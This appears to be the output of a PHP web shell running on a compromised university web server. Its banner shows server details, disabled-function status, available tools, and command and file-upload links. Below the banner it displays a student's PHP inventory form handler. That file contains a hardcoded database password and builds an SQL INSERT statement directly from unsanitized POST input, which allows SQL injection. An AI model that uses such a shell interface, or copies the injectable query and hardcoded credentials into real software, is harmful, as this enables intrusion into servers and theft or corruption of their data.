Server IP : 172.16.15.8 / Your IP : 18.188.101.251 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/rlbarner/www/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<!-- File Name: inventoryaction.php Author: Regina Barner Date: 12 March 2013 Instructor: Dr. Wang Goal: Receive information from the 'Inventory' input form and allocate the information into the correct tables in the 'Inventory' SQL table. Display the SQL table if the query is successful. Found in textbook, page 185, number 4. --> <BODY BGCOLOR="#D9D9F3"> <FONT FACE="Sylfaen"> <TITLE>Inventory Table: Input Results</TITLE> <CENTER> <H2>Inventory Table: Results Page</H2> <HR> <?php $item = $_POST['item']; $cost = $_POST['cost']; $price = $_POST['price']; $numsold = $_POST['numsold']; $quantity = $_POST['quantity']; $host = 'localhost'; $user = 'rlbarner'; $passwd = 'cs480'; $database = 'rlbarner'; $connect = mysql_connect($host, $user, $passwd); $table_name = 'Inventory'; $query = "INSERT INTO $table_name VALUES ('$item', '$cost', '$price', '$numsold', '$quantity')"; print "The query is <I>$query</I><BR>"; mysql_select_db($database); if(mysql_query($query, $connect)) print "<FONT SIZE=4 COLOR=BLUE>Insert into $table_name in database $database successful!</FONT><BR>"; else print "<FONT SIZE=4 COLOR=BLUE>Insert failed!</FONT><BR>"; include("inventorydisplay.php"); mysql_close($connect); ?> <HR> Navigation: <BR> <A HREF=inventoryform.html>Click Here</A> to Return to the Entry Form <BR> <A HREF=inventorydisplay.php>Click Here</A> to View the Inventory Table <BR> <A HREF=index.html>Index</A> </CENTER> </FONT> </BODY>